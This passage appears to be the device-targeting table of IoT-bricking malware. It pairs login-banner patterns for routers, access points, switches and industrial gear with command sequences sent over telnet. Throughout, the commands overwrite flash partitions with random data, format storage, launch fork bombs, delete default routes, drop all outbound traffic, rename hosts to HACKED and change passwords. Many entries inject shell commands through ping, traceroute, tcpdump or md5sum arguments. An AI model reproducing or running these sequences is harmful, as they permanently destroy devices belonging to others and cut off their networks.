'cat /dev/urandom >/dev/mtdblock0 &' , '[#>] ' ,
'cat /dev/urandom >/dev/mtdblock1 &' , '[#>] ' ,
'cat /dev/urandom >/dev/mtdblock2 &' , '[#>] ' ,
'cat /dev/urandom >/dev/mtdblock3 &' , '[#>] ' ,
'cat /dev/urandom >/dev/mtdblock4 &' , '[#>] ' ,
'cat /dev/urandom >/dev/mtdblock5 &' , '[#>] ' ,
'cat /dev/urandom >/dev/mtdblock6 &' , '[#>] ' ,
'cat /dev/urandom >/dev/mtdblock7 &' , '[#>] ' ,
'cat /dev/urandom >/dev/mtdblock8 &' , '[#>] ' ,
'cat /dev/urandom >/dev/mtdblock9 &' , '[#>] ' ,
'route del default' , '[>#] ' ,
] ,
[ 'albof' , '.*' , '\*[AB]:\S+#\s' ,
'config' , '[>#] ' ,
'system' , '[>#] ' ,
'location `reboot`' , '[>#] ' ,
'name HACKED' , '[>#] ' ,
'exit all' , '[>#] ' ,
'file' , '[>#] ' ,
'shutdown' , '[>#] ' ,
'format' , 'y/n' ,
'y' , '[>#] ' ,
'exit all' , '[>#] ' ,
'admin' , '[>#] ' ,
'reboot auto-init' , 'y/n' ,
'y' , '[>#] ' ,
'reboot standby' , 'y/n' ,
'y' , '[>#] ' ,
'reboot active' , 'y/n' ,
'y' , '[>#] ' ,
] ,
[ 'genpoe' , '.*' , '\% Invalid input detected at \'\^\' marker\.' ,
'enable' , '[>#] ' ,
'write' , '[>#] ' ,
'erase boot-image first' , '[>#] ' ,
'erase boot-image second' , '[>#] ' ,
'erase config-file' , '[>#] ' ,
'reload' , 'y/n' ,
'y' , '[>#] ' ,
] ,
[ 'vigor27' , '.*' , '__\s+___\s+____\s_____\s__\s+___' ,
'exec ping `cat${IFS}/dev/zero${IFS}>/dev/root`' , '' ,
] ,
[ 'ciscovpn3000' , '.*' , '4\)\s+Save\s+changes\s+to\s+Config\s+file' ,
'2' , '[>#] ' ,
'8' , '[>#] ' ,
'9' , 'reformat' ,
'YES' , '[>#] ' ,
'10' , '[>#] ' ,
'3' , '[>#] ' ,
'3' , '[>#] ' ,
'2' , '[>#] ' ,
'2' , 'Done' ,
] ,
[ 'oxygen' , '.*' , 'system\s+System\soperations' ,
"\x03" , '' ,
'system fdefaults' , 'y/n' ,
'y' , '[>#] ' ,
] ,
[ 'dsrdlink' , '.*' , '(D-Link DSR|util.*Utilities Mode)' ,
"\x03" , '' ,
'util md5sum `cat${IFS}/dev/urandom${IFS}>/dev/mtdblock0${IFS}&`' , '[>#] ' ,
'util md5sum `cat${IFS}/dev/urandom${IFS}>/dev/mtdblock1${IFS}&`' , '[>#] ' ,
'util md5sum `cat${IFS}/dev/urandom${IFS}>/dev/mtdblock2${IFS}&`' , '[>#] ' ,
'util md5sum `cat${IFS}/dev/urandom${IFS}>/dev/mtdblock3${IFS}&`' , '[>#] ' ,
'util md5sum `cat${IFS}/dev/urandom${IFS}>/dev/mtdblock4${IFS}&`' , '[>#] ' ,
'util md5sum `cat${IFS}/dev/urandom${IFS}>/dev/mtdblock5${IFS}&`' , '%WAIT%' ,
'util md5sum `poweroff`' , '[>#] ' ,
'util md5sum `reboot`' , '[>#] ' ,
] ,
[ '3comap' , '.*' , '(3Com Access Point|Access Point Rev \d|Type \"help\" for a list of valid commands\.)' ,
'set hostipaddr 127.0.0.1' , '[>#] ' ,
'set dhcpc disable' , '[>#] ' ,
'set ipaddr 127.0.0.1' , '[>#] ' ,
'applycfg' , 'Rebooting' ,
] ,
[ 'omniswitch' , '.*' , '(ERROR: Invalid entry: \"\/etc\/\"|Lucent OmniSwitch)' ,
'newfs /flash' , '= No' ,
'y' , '[>#] ' ,
'newfs /uflash' , '(= No|>)' ,
'y' , '[>#] ' ,
'rm *' , '[>#] ' ,
'reload' , 'Y/N' ,
'y' , '[>#] ' ,
] ,
[ 'bullet' , '.*' , '(Invalid command \"cat\"|Entering character mode)' ,
'AT+MMNAME=HACKED' , '[>#] ' ,
'AT+MSIP=127.0.0.1' , '[>#] ' ,
'AT+MCTPS1=0' , '[>#] ' ,
'AT+MPWD=%NEWPASS%,%NEWPASS%' , '[>#] ' ,
'AT+MREB' , 'OK' ,
'exec ping `cat${IFS}/dev/zero${IFS}>/dev/root`' , '' ,
'AT+MSRTF=0' , 'confirm' ,
'AT+MSRTF=1' , 'rebooting' ,
] ,
[ 'pk5001' , '.*' , '(PK5001Z|admin_\S+SSH:\S+Linux User)' ,
'su' , 'Password: ' ,
'zyad5001' , '' ,
'dd if=/dev/urandom of=/dev/mtdblock0 &' , '' ,
'dd if=/dev/urandom of=/dev/mtdblock1 &' , '' ,
'dd if=/dev/urandom of=/dev/mtdblock2 &' , '' ,
'dd if=/dev/urandom of=/dev/mtdblock3 &' , '' ,
'dd if=/dev/urandom of=/dev/mtdblock4 &' , '' ,
'dd if=/dev/urandom of=/dev/mtdblock5 &' , '' ,
'dd if=/dev/urandom of=/dev/mtdblock6 &' , '' ,
'dd if=/dev/urandom of=/dev/mtdblock7 &' , '' ,
'dd if=/dev/urandom of=/dev/mtd0 &' , '' ,
'dd if=/dev/urandom of=/dev/mtd1 &' , '' ,
'dd if=/dev/urandom of=/dev/mtd2 &' , '' ,
'dd if=/dev/urandom of=/dev/mtd3 &' , '' ,
'cat /dev/urandom >/dev/mtdblock0 &' , '' ,
'cat /dev/urandom >/dev/mtdblock1 &' , '' ,
'cat /dev/urandom >/dev/mtdblock2 &' , '' ,
'cat /dev/urandom >/dev/mtdblock3 &' , '' ,
'cat /dev/urandom >/dev/mtdblock4 &' , '' ,
'cat /dev/urandom >/dev/mtdblock5 &' , '' ,
'cat /dev/urandom >/dev/mtdblock6 &' , '' ,
'cat /dev/urandom >/dev/mtdblock7 &' , '' ,
'cat /dev/urandom >/dev/mtdblock8 &' , '' ,
'cat /dev/urandom >/dev/mtdblock9 &' , '' ,
'cat /dev/urandom >/dev/root &' , '' ,
'dd if=/dev/urandom of=/dev/root &' , '' ,
'route del default;iproute del default;ip route del default' , '' ,
'iptables -F;iptables -t nat -F;iptables -A OUTPUT -j DROP' , '%WAIT%' ,
'cat /dev/urandom >/dev/mem &' , '' ,
'd(){ d|d & };d 2>/dev/null' , '[#$>] ' ,
'sysctl -w net.ipv4.tcp_timestamps=0;sysctl -w kernel.threads-max=1' , '%WAIT% ' ,
'halt -n -f' , '[#$>] ' ,
'reboot' , '[#$>] ' ,
'd(){ d|d & };d' , '%TERM%' ,
] ,
[ 'ubigate' , '.*' , '(Error : Command \'uname\' does not exist|SAMSUNG ELECTRONICS .*Login)' ,
'file' , '[>#] ' ,
'format /cf0' , 'Y/N' ,
'y' , 'file[>#] ' ,
'exit' , '[>#] ' ,
'reboot' , 'y/n' ,
'y' , 'reboot' ,
] ,
[ 'ec2traffic' , '.*' , '\/WEB_CONFIGURATOR\/CONFIG' ,
'$linux' , '[>#\$] ' ,
'telnet 127.0.0.1' , 'login:' ,
'root' , 'word:' ,
'peek' , '[>#\$:] ' ,
'cat /dev/urandom >/dev/mtdblock/4' , '[>#\$:] ' ,
'route del default' , '[>#\$:] ' ,
'nop' , '[>#\$:] ' ,
'nop' , '[>#\$:] ' ,
'd() { d|d & }; d' , '' ,
] ,
[ 'genu01' , '.*' , 'ID\s+From\s+To\s+Protocol\s+Sessions' ,
'boot action = factory' , '[>#] ' ,
] ,
[ 'genu02' , '.*' , 'usr\/config\$' ,
'ifaddr -ipsharing 1 1.2.3.2' , '[>#\$] ' ,
'ifaddr -ip 1.2.3.4 -mask 255.255.255.0 -gate 1.2.3.5' , '' ,
'commit' , '[>#\$] ' ,
'reboot' , '[>#\$] ' ,
] ,
[ 'genu03' , '.*' , 'watchdog\?' ,
'set2default' , '\[no\]' ,
'yes' , '\[no\]' ,
'yes' , '\[yes\]' ,
'no' , '\[no\]' ,
'yes' , 'NVRAM' ,
] ,
[ 'genu04' , '.*' , 'restore system and load default configure' ,
'restore' , '=>' ,
] ,
[ 'vigorfly' , '.*' , 'Welcome to \S+\!\!\!' ,
'ping `mtd_write erase mtd0;mtd_write erase mtd1;mtd_write erase mtd2;mtd_write erase mtd3;mtd_write erase mtd4 &`' , '\S#' ,
'ping `cat /dev/urandom >/dev/mtdblock0;cat /dev/urandom >/dev/mtdblock1;cat /dev/urandom >/dev/mtdblock2 &`' , '\S#' ,
'ping `cat /dev/urandom >/dev/mtdblock3;cat /dev/urandom >/dev/mtdblock4;cat /dev/urandom >/dev/mtdblock5 &`' , '\S#' ,
'ping `cat /dev/urandom >/dev/mtdblock6;cat /dev/urandom >/dev/mtdblock7 &`' , '\S#' ,
'ping `route del default`' , '\S#' ,
] ,
[ 'genu06' , '.*' , '[\%:] (Unrecognized|Incomplete|Wrong) (command|parameter) found at \S\S\S position\.' ,
'format flash:' , 'Y/N' ,
'y' , '>' ,
'system-view' , '[>\]]' ,
'router id 1.2.3.4' , '[>\]]' ,
'sysname HACKED' , '[>\]]' ,
'super password simple HACK%NEWPASS%' , '[>\]]' ,
'interface wlan-ethernet 0' , '[>\]]' ,
'shutdown' , '[>\]]' ,
'interface wlan-ethernet 1' , '[>\]]' ,
'shutdown' , '[>\]]' ,
'interface wlan-ethernet 2' , '[>\]]' ,
'shutdown' , '[>\]]' ,
'interface wlan-ethernet 3' , '[>\]]' ,
'shutdown' , '[>\]]' ,
'reboot' , 'Y/N' ,
'y' , '' ,
] ,
[ 'genu07' , '.*' , 'welcome to use cli' ,
'mgmt' , '>' ,
'backup' , '>' ,
'revertfac' , '>' ,
'restore http://1.2.3.4/&&reboot' , '>' ,
] ,
[ 'genu08' , '.*' , 'Command Not Found' ,
'configure' , '[>#\$] ' ,
'hostname HACKED' , '[>#\$] ' ,
'interface ge1' , '[>#\$] ' ,
'shutdown\nwrite memory' , '[>#\$] ' ,
'exit' , '[>#\$] ' ,
'interface ge2' , '[>#\$] ' ,
'shutdown\nwrite memory' , '[>#\$] ' ,
] ,
[ 'genu09' , '.*' , '(System has no password|\% Command missing, Valid commands are:)' ,
'sys cfg default' , '[>#\$] ' ,
] ,
[ 'drgwatson' , '.*' , 'Bad command - Try using help -s <command>' ,
'system' , '[>#] ' ,
'shell' , '[>#] ' ,
'dd if=/dev/urandom of=/dev/mtdblock0 &' , '[>#] ' ,
'dd if=/dev/urandom of=/dev/mtdblock1 &' , '[>#] ' ,
'dd if=/dev/urandom of=/dev/mtdblock2 &' , '[>#] ' ,
'dd if=/dev/urandom of=/dev/mtdblock3 &' , '[>#] ' ,
'dd if=/dev/urandom of=/dev/mtd0 &' , '[>#] ' ,
'dd if=/dev/urandom of=/dev/mtd1 &' , '[>#] ' ,
'dd if=/dev/urandom of=/dev/mtd2 &' , '[>#] ' ,
'dd if=/dev/urandom of=/dev/mtd3 &' , '[>#] ' ,
'dd if=/dev/urandom of=/dev/root &' , '%WAIT%' ,
'ifconfig br0 down &' , '[>#] ' ,
'ifconfig ppp0 down &' , '[>#] ' ,
'ifconfig eth1 down &' , '[>#] ' ,
'ifconfig eth2 down &' , '[>#] ' ,
'ifconfig eth3 down &' , '[>#] ' ,
'ifconfig eth4 down &' , '[>#] ' ,
'ifconfig eth5 down &' , '[>#] ' ,
'ifconfig eth6 down &' , '[>#] ' ,
'ifconfig eth7 down &' , '[>#] ' ,
'ifconfig eth8 down &' , '[>#] ' ,
'ifconfig ixp0 down &' , '[>#] ' ,
'ifconfig ixp1 down &' , '[>#] ' ,
'ifconfig ipsec0 down &' , '[>#] ' ,
'route del default' , '%WAIT%' ,
'restore_factory_settings' , '[>#] ' ,
'restore_default' , '[>#] ' ,
'exit' , '[>#] ' ,
'restore_factory_settings' , '[>#] ' ,
'restore_default' , '[>#] ' ,
] ,
[ 'vpnaccess' , '.*' , '(Welcome to VPN Access|voipGwH245Tunneling.*rw)' ,
'46' , '[>#] ' ,
'Dest:00=1.2.3.4' , '[>#] ' ,
'Dest:01=1.2.3.4' , '[>#] ' ,
'Dest:02=1.2.3.4' , '[>#] ' ,
'Dest:03=1.2.3.4' , '[>#] ' ,
] ,
[ 'draytek' , '.*' , '(Dray[tT]ek>|Draytek login)' ,
'traceroute ;cat${IFS}/dev/urandom${IFS}>/dev/root${IFS}&' , '[>#] ' ,
'traceroute ;cat${IFS}/dev/urandom${IFS}>/dev/mtdblock0${IFS}&' , '[>#] ' ,
'traceroute ;cat${IFS}/dev/urandom${IFS}>/dev/mtdblock1${IFS}&' , '[>#] ' ,
'traceroute ;cat${IFS}/dev/urandom${IFS}>/dev/mtdblock2${IFS}&' , '[>#] ' ,
'traceroute ;cat${IFS}/dev/urandom${IFS}>/dev/mtdblock3${IFS}&' , '[>#] ' ,
'traceroute ;cat${IFS}/dev/urandom${IFS}>/dev/mtdblock4${IFS}&' , '[>#] ' ,
'traceroute ;cat${IFS}/dev/urandom${IFS}>/dev/mtdblock5${IFS}&' , '[>#] ' ,
'traceroute ;iptables${IFS}-A${IFS}OUTPUT${IFS}DROP' , '[>#] ' ,
'traceroute ;route${IFS}del${IFS}default' , '[>#] ' ,
] ,
[ 'ktcatv' , '.*' , '\@ktcatv:' ,
'cat /dev/urandom >/dev/mtdblock0 &' , '[>#\$] ' ,
'cat /dev/urandom >/dev/mtdblock1 &' , '[>#\$] ' ,
'cat /dev/urandom >/dev/mtdblock2 &' , '[>#\$] ' ,
'cat /dev/urandom >/dev/mtdblock3 &' , '[>#\$] ' ,
'cat /dev/urandom >/dev/mtdblock4 &' , '[>#\$] ' ,
'cat /dev/urandom >/dev/mtdblock5 &' , '[>#\$] ' ,
'route del default' , '[>#\$] ' ,
'iptables -A OUTPUT DROP' , '%WAIT%' ,
'd() { d|d & }; d 2>/dev/null' , '[>#\$] ' ,
'd() { d|d & }; d 2>/dev/null' , '[>#\$] ' ,
] ,
[ 'digi' , '.*' , '(Digi\Ss Command Line Interface|write \Spathname\S \Sstring\S)' ,
'setnetwork dhcp = off' , '[#$>] ' ,
'setnetwork gateway = 1.2.3.4' , '[#$>] ' ,
'setnetwork ip = 1.2.3.5' , '[#$>] ' ,
'setnetwork primarydns = 127.0.0.1' , '[#$>] ' ,
'setnetwork secondarydns = 127.0.0.2' , '[#$>] ' ,
'reboot' , '[#$>] ' ,
'wm 0 0' , '[#$>] ' ,
'wm 1 0' , '[#$>] ' ,
'wm 2 0' , '[#$>] ' ,
'wm 3 0' , '[#$>] ' ,
] ,
[ 'atpcli' , '.*' , '(ATP>|ATP Cli|HG\d\S+>)' ,
'shell' , '[>#]' ,
'welcome to shell' , '[>#]' ,
'cat /dev/urandom >/mtdblock0 &' , '[>#]' ,
'cat /dev/urandom >/mtdblock1 &' , '[>#]' ,
'cat /dev/urandom >/mtdblock2 &' , '[>#]' ,
'cat /dev/urandom >/mtdblock3 &' , '[>#]' ,
'cat /dev/urandom >/mtdblock4 &' , '[>#]' ,
'cat /dev/urandom >/mtdblock5 &' , '[>#]' ,
'cat /dev/urandom >/mtdblock6 &' , '[>#]' ,
'route del default' , '[>#]' ,
'iptables -A OUTPUT -j DROP' , '[>#]' ,
'ping ?;cat${IFS}/dev/urandom${IFS}>/dev/mtdblock0;true' , '' ,
'ping ?;cat${IFS}/dev/urandom${IFS}>/dev/mtdblock3;true' , '' ,
'ping ?;cat${IFS}/dev/urandom${IFS}>/dev/mtdblock1;true' , '' ,
'ping ?;cat${IFS}/dev/urandom${IFS}>/dev/mtdblock2;true' , '' ,
'ping ?;cat${IFS}/dev/urandom${IFS}>/dev/mtdblock4;true' , '' ,
'ping ?;cat${IFS}/dev/urandom${IFS}>/dev/mtdblock5;true' , '' ,
'ping ?;cat${IFS}/dev/urandom${IFS}>/dev/mtdblock6;true' , '' ,
'ping ?;iptables${IFS}-A${IFS}OUTPUT${IFS}-j${IFS}DROP;true' , '' ,
] ,
[ 'netrouter' , '.*' , '(\/ETC\/PASSWD|Welcome to NetRouter|Digitel Configuration Manager|-ALF \/ETC\/)' ,
'exec shell' , '[>#] ' ,
'dd if=/dev/urandom of=/dev/mtdblock7 &' , '[>#] ' ,
'dd if=/dev/urandom of=/dev/root &' , '[>#] ' ,
'dd if=/dev/urandom of=/dev/mtdblock0 &' , '[>#] ' ,
'dd if=/dev/urandom of=/dev/mtdblock1 &' , '[>#] ' ,
'dd if=/dev/urandom of=/dev/mtdblock2 &' , '[>#] ' ,
'dd if=/dev/urandom of=/dev/mtdblock3 &' , '[>#] ' ,
'dd if=/dev/urandom of=/dev/mtdblock4 &' , '[>#] ' ,
'dd if=/dev/urandom of=/dev/mtdblock5 &' , '[>#] ' ,
'dd if=/dev/urandom of=/dev/mtdblock6 &' , '[>#] ' ,
'dd if=/dev/urandom of=/dev/mtdblock8 &' , '[>#] ' ,
'route del default' , '[>#] ' ,
'iptables -F;iptables -t nat -F;iptables -A OUTPUT -j DROP' , '%WAIT%' ,
'config purge all' , '[>#] ' ,
'exit' , '[>#] ' ,
'config purge all' , '[>#] ' ,
] ,
[ 'junos' , '.*' , '(SRX\d+[>#]|JUNOS \d)' ,
'configure' , '[>#] ' ,
'set system host-name HACKED' , '[>#] ' ,
'delete routing-options static route' , '[>#] ' ,
'set routing-options static route 0.0.0.0/0 reject' , '[>#] ' ,
'delete system name-server' , '[>#] ' ,
'delete system services dhcp' , '[>#] ' ,
'commit' , '[>#] ' ,
] ,
[ 'trendchip' , '.*' , '(TrendChip Technologies|sys\s+exit\s+ether\s+wan)' ,
'sys default' , '' ,
] ,
[ 'celljanus' , '.*' , 'CellJanus RX' ,
'9' , 'cancel:' ,
'yes' , 'continue' ,
] ,
[ 'cisconex' , '.*' , 'Cisco Nexus Operating System' ,
'virtual-service reset force' , 'y/n' ,
'y' , '[>#] ' ,
'format bootflash:' , 'yes/no' ,
'y' , '[>#] ' ,
'format usb1:' , 'yes/no' ,
'y' , '[>#] ' ,
'format usb2:' , 'yes/no' ,
'y' , '[>#] ' ,
'reload' , 'y/n' ,
'y' , '' ,
] ,
[ 'wince' , '.*' , '(Windows CE Telnet Service|Cannot execute \S+\.exe)' ,
'attrib -r -h -s *.* /s' , '[>#] ' ,
'attrib -r -h -s *.* /s' , '[>#] ' ,
'del /s *.*' , 'Y/N' ,
'y' , '[>#] ' ,
'halt' , '[>#] ' ,
] ,
[ 'ipcom' , '.*' , 'Unknown commands or command parameters are insufficient\.' ,
'configure' , '[>#] ' ,
'new' , '[>#] ' ,
'hostname HACKED' , '[>#] ' ,
'ip route default 1.2.3.4' , '[>#] ' ,
'commit' , '\(y\|' ,
'y' , '\(y\|' ,
'y' , '[>#] ' ,
'poweroff' , '\(y\|' ,
'y' , '[>#] ' ,
'poweroff' , '\(y\|' ,
'y' , '[>#] ' ,
] ,
[ 'meshtron' , '.*' , '(M e s h t r o n|Meshtron#|Unknown command \[uname\])' ,
'factory' , '[>#] ' ,
] ,
[ 'axelerateos' , '.*' , '(AXN AxelerateOS|CLI Error: Can\'t find command - uname)' ,
'passwd' , 'Password' ,
'%OLDPASS%' , 'Password' ,
'%NEWPASS%' , 'Again' ,
'%NEWPASS%' , '[>#] ' ,
] ,
[ 'aver' , 'root/svgodie' , '' ,
'cat /dev/urandom >/dev/mtdblock1 &' , '[>#] ' ,
'cat /dev/urandom >/dev/mtdblock2 &' , '[>#] ' ,
'cat /dev/urandom >/dev/mtdblock3 &' , '[>#] ' ,
'cat /dev/urandom >/dev/sda1 &' , '[>#] ' ,
'iproute del default' , '[>#] ' ,
'ifdown eth0' , '[>#] ' ,
'ifdown eth1' , '[>#] ' ,
] ,
[ 'intelliserver' , '(IntelliServer Release|uname not found)' ,
'reset factory' , '[>#] ' ,
'save' , '[>#] ' ,
'motd set line 1 HACKED*' , '[>#] ' ,
'motd set line 2 HACKED*' , '[>#] ' ,
'motd set line 3 HACKED*' , '[>#] ' ,
'motd set line 4 HACKED' , '[>#] ' ,
'password' , 'password:' ,
'%NEWPASS%' , 'password:' ,
'%NEWPASS%' , '[>#] ' ,
'save' , '[>#] ' ,
'shutdown now' , 'arrived' ,
] ,
[ 'drglike' , '.*' , 'Linux version \S+openrg-rmk' ,
'shell' , '[>#] ' ,
'cat /dev/urandom >/dev/root &' , '[>#] ' ,
'cat /dev/urandom >/dev/mtdblock0 &' , '[>#] ' ,
'cat /dev/urandom >/dev/mtdblock1 &' , '[>#] ' ,
'cat /dev/urandom >/dev/mtdblock2 &' , '[>#] ' ,
'cat /dev/urandom >/dev/mtdblock3 &' , '[>#] ' ,
'cat /dev/urandom >/dev/mtdblock4 &' , '[>#] ' ,
'cat /dev/urandom >/dev/mtdblock5 &' , '[>#] ' ,
'cat /dev/urandom >/dev/mtdblock6 &' , '[>#] ' ,
'cat /dev/urandom >/dev/mtdblock7 &' , '[>#] ' ,
'cat /dev/urandom >/dev/mtdblock8 &' , '[>#] ' ,
'route del default' , '%WAIT%' ,
'restore_default' , '[>#] ' ,
'exit' , '[>#] ' ,
'restore_default' , '[>#] ' ,
] ,
[ 'westermo' , '.*' , '(\s\/mrd3\d\d|MRD-310|Westermo MRD|Copyright Cybertec|esh: cat: No such command)' ,
'telnet `cat /dev/urandom >/dev/mtdblock0 &`' , '[\$>#] ' ,
'quit' , '[\$>#] ' ,
'telnet `cat /dev/urandom >/dev/mtdblock1 &`' , '[\$>#] ' ,
'quit' , '[\$>#] ' ,
'telnet `cat /dev/urandom >/dev/mtdblock2 &`' , '[\$>#] ' ,
'quit' , '[\$>#] ' ,
'telnet `cat /dev/urandom >/dev/mtdblock3 &`' , '[\$>#] ' ,
'quit' , '[\$>#] ' ,
'telnet `cat /dev/urandom >/dev/mtdblock4 &`' , '[\$>#] ' ,
'quit' , '[\$>#] ' ,
'telnet `cat /dev/urandom >/dev/mtdblock5 &`' , '[\$>#] ' ,
'quit' , '[\$>#] ' ,
'telnet `cat /dev/urandom >/dev/mtdblock6 &`' , '[\$>#] ' ,
'quit' , '[\$>#] ' ,
'telnet `cat /dev/urandom >/dev/mtdblock7 &`' , '[\$>#] ' ,
'quit' , '[\$>#] ' ,
'telnet `cat /dev/urandom >/dev/root &`' , '[\$>#] ' ,
'quit' , '[\$>#] ' ,
'telnet `route del default`' , '[\$>#] ' ,
'quit' , '[\$>#] ' ,
'telnet `iptables -A OUTPUT -j DROP`' , '[\$>#] ' ,
'quit' , '[\$>#] ' ,
] ,
[ 'gapm' , '.*' , 'GAPM-\d\d\d\d' ,
'cat /dev/urandom >/dev/mtdblock0 &' , '[>#\$] ' ,
'cat /dev/urandom >/dev/mtdblock1 &' , '[>#\$] ' ,
'cat /dev/urandom >/dev/mtdblock2 &' , '[>#\$] ' ,
'cat /dev/urandom >/dev/mtdblock3 &' , '[>#\$] ' ,
'cat /dev/urandom >/dev/mtdblock4 &' , '[>#\$] ' ,
'cat /dev/urandom >/dev/mtdblock5 &' , '[>#\$] ' ,
'cat /dev/urandom >/dev/mtdblock6 &' , '[>#\$] ' ,
'cat /dev/urandom >/dev/mtdblock7 &' , '[>#\$] ' ,
'cat /dev/urandom >/dev/mtdblock8 &' , '[>#\$] ' ,
'cat /dev/urandom >/dev/mtdblock9 &' , '[>#\$] ' ,
'cat /dev/urandom >/dev/mtdblock10 &' , '[>#\$] ' ,
'cat /dev/urandom >/dev/mem &' , '[>#\$] ' ,
'route del default' , '[>#\$] ' ,
] ,
[ 'adc' , '.*' , 'Error: no parameter\(s\) expected' ,
'oper' , '[>#\$] ' ,
'passwd' , 'password:' ,
'%OLDPASS%' , 'password:' ,
'%NEWPASS%' , 'password:' ,
'%NEWPASS%' , '[>#\$] ' ,
'exit' , '' ,
] ,
[ 'grscli' , '.*' , 'ERR::Command \'uname\' not found!' ,
'cd utils' , '[>#\$] ' ,
'tcpdump --file-name=`cat${IFS}/dev/zero${IFS}>/dev/root${IFS}&`' , '[>#\$] ' ,
'tcpdump --file-name=`cat${IFS}/dev/zero${IFS}>/dev/mtdblock0${IFS}&`' , '[>#\$] ' ,
'tcpdump --file-name=`cat${IFS}/dev/zero${IFS}>/dev/mtdblock1${IFS}&`' , '[>#\$] ' ,
'tcpdump --file-name=`cat${IFS}/dev/zero${IFS}>/dev/mtdblock2${IFS}&`' , '[>#\$] ' ,
'tcpdump --file-name=`cat${IFS}/dev/zero${IFS}>/dev/mtdblock3${IFS}&`' , '[>#\$] ' ,
'tcpdump --file-name=`cat${IFS}/dev/zero${IFS}>/dev/mtdblock4${IFS}&`' , '[>#\$] ' ,
'tcpdump --file-name=`cat${IFS}/dev/zero${IFS}>/dev/mtdblock5${IFS}&`' , '[>#\$] ' ,
'tcpdump --file-name=`route${IFS}del${IFS}default`' , '[>#\$] ' ,
] ,
[ 'fos' , '.*' , '(FOS \Snone\S.*ppc|FOS version|Welcome to FOS)' ,
'umount -a' , '[>#\$] ' ,
'dd if=/dev/zero of=/dev/ttfsa &' , '[>#\$] ' ,
'dd if=/dev/zero of=/dev/ttfsa1 &' , '[>#\$] ' ,
'dd if=/dev/zero of=/dev/root &' , '[>#\$] ' ,
'dd if=/dev/zero of=/dev/ram &' , '[>#\$] ' ,
'dd if=/dev/zero of=/dev/ramdisk &' , '[>#\$] ' ,
'route del default' , '%WAIT%' ,
'd(){ d|d & };d' , '%TERM%' ,
] ,
[ 'davolink' , '.*' , '(invalid directory|davolink login)' ,
'debug' , '[>#\$] ' ,
'system' , '[>#\$] ' ,
'syscmd all dd if=/dev/urandom of=/dev/mtdblock7' , '[>#\$] ' ,
'syscmd all dd if=/dev/urandom of=/dev/mtdblock8' , '[>#\$] ' ,
'syscmd all dd if=/dev/urandom of=/dev/mtdblock9' , '[>#\$] ' ,
'syscmd all dd if=/dev/urandom of=/dev/root' , '[>#\$] ' ,
'syscmd all route del default' , '[>#\$] ' ,
'cd ..' , '%WAIT%' ,
'cd ..' , '[>#\$] ' ,
'config' , '[>#\$] ' ,
'default' , 'y/n' ,
'y' , '[>#\$] ' ,
'cd ..' , '[>#\$] ' ,
'system' , '[>#\$] ' ,
'reset' , 'y/n' ,
'y' , 'y/n' ,
'y' , 'Done' ,
] ,
[ 'jnior' , '.*' , '\/etc\/shadow does not exist\.' ,
'hostname HACKED' , '[>#] ' ,
'rd etc' , '[>#] ' ,
'rd flash' , '[>#] ' ,
'rd www' , '[>#] ' ,
'rd tiniext' , '[>#] ' ,
'rd datas' , '[>#] ' ,
'cd flash2' , '[>#] ' ,
'rm Config.props' , '[>#] ' ,
'rm Phone.props' , '[>#] ' ,
'cd ..' , '[>#] ' ,
'reboot' , 'Y/N' ,
'y' , 'rebooting' ,
] ,
[ 'hpjetdirect' , '.*' , 'HP JetDirect' ,
'host-name HACKED' , '[>#] ' ,
'ip 127.0.0.1' , '[>#] ' ,
'save' , 'saved' ,
] ,
[ 'intelimax' , '.*' , '(INTELIMAX #|sh 1\.0)' ,
'defconfig' , 'y/N' ,
'y' , '' ,
] ,
[ 'idrac' , '.*' , 'status_tag.*:.*COMMAND PROCESSING FAILED' ,
'stop /system1' , 'stopped' ,
] ,
[ 'comtrend' , '.*' , 'Comtrend Gigabit' ,
'restore_defaults' , 'wait' ,
] ,
[ 'mikrotok' , '.*' , '(\[\S+\@HACKED\] > |HAD UNSAFE PASSWORD)' ,
'xxx' , '[:>] ' ,
'ip firewall filter remove 9' , ' > ' ,
'ip firewall filter remove 8' , ' > ' ,
'ip firewall filter remove 7' , ' > ' ,
'ip firewall filter remove 6' , ' > ' ,
'ip firewall filter remove 5' , ' > ' ,
'ip firewall filter remove 4' , ' > ' ,
'ip firewall filter remove 3' , ' > ' ,
'ip firewall filter remove 2' , ' > ' ,
'ip firewall filter remove 1' , ' > ' ,
'ip firewall filter add chain=input src-address=0.0.0.0/1 action=drop' , ' > ' ,
'ip firewall filter add chain=output src-address=0.0.0.0/1 action=drop' , ' > ' ,
] ,
[ 'mikrotik' , '.*' , '(MMM.*III.*KKK|MikroTik\sRouterOS|Doublecom\sRouterOS|bad command name )' ,
'xxx' , '[:>] ' ,
'xxx' , '[:>] ' ,
'ip socks set enabled no' , ' > ' ,
'ip proxy set enabled no' , ' > ' ,
'tool sniffer stop' , ' > ' ,
'system note set show-at-login yes' , ' > ' ,
'system note set note \"DEVICE HACKED - ACCOUNT %OLDUSER% HAD UNSAFE PASSWORD\"' , ' > ' ,
'system identity set name=HACKED' , ' > ' ,
'password' , 'password' ,
'%OLDPASS%' , 'password' ,
'%NEWPASS%' , 'password' ,
'%NEWPASS%' , ' > ' ,
'ip dns set server=8.8.8.8' , ' > ' ,
'ip dns set allow-remote-requests=no' , ' > ' ,
'ip dns cache flush' , ' > ' ,
'system reboot' , 'reboot' ,
'y' , ' > ' ,
'system reset-configuration no-defaults=yes' , 'y/N' ,
'y' , '' ,
] ,
[ 'ruckus' , '.*' , '(ruckus>|The command is either unrecognized or incomplete. To view a list of commands that you ca)' ,
'ping ;sh' , '[$>#] ' ,
'cat /dev/urandom >/dev/mtdblock0 &' , '' ,
'cat /dev/urandom >/dev/mtdblock1 &' , '' ,
'cat /dev/urandom >/dev/mtdblock2 &' , '' ,
'cat /dev/urandom >/dev/mtdblock3 &' , '' ,
'cat /dev/urandom >/dev/mtdblock4 &' , '' ,
'cat /dev/urandom >/dev/mtdblock5 &' , '' ,
'cat /dev/urandom >/dev/mtdblock6 &' , '' ,
'cat /dev/urandom >/dev/mtdblock7 &' , '' ,
'cat /dev/urandom >/dev/mtdblock8 &' , '' ,
'cat /dev/urandom >/dev/mtdblock9 &' , '' ,
'cat /dev/urandom >/dev/mtdblock10 &' , '' ,
'cat /dev/urandom >/dev/mtdblock11 &' , '' ,
'route del default' , '%WAIT%' ,
'enable' , '[$>#] ' ,
'set-factory' , 'Y/n' ,
'y' , '[$>#] ' ,
'exit' , '[$>#] ' ,
'enable' , '[$>#] ' ,
'set-factory' , 'Y/n' ,
'y' , '[$>#] ' ,
] ,
[ 'welotec' , '.*' , '\% command is not supported\!' ,
'enable' , 'password:' ,
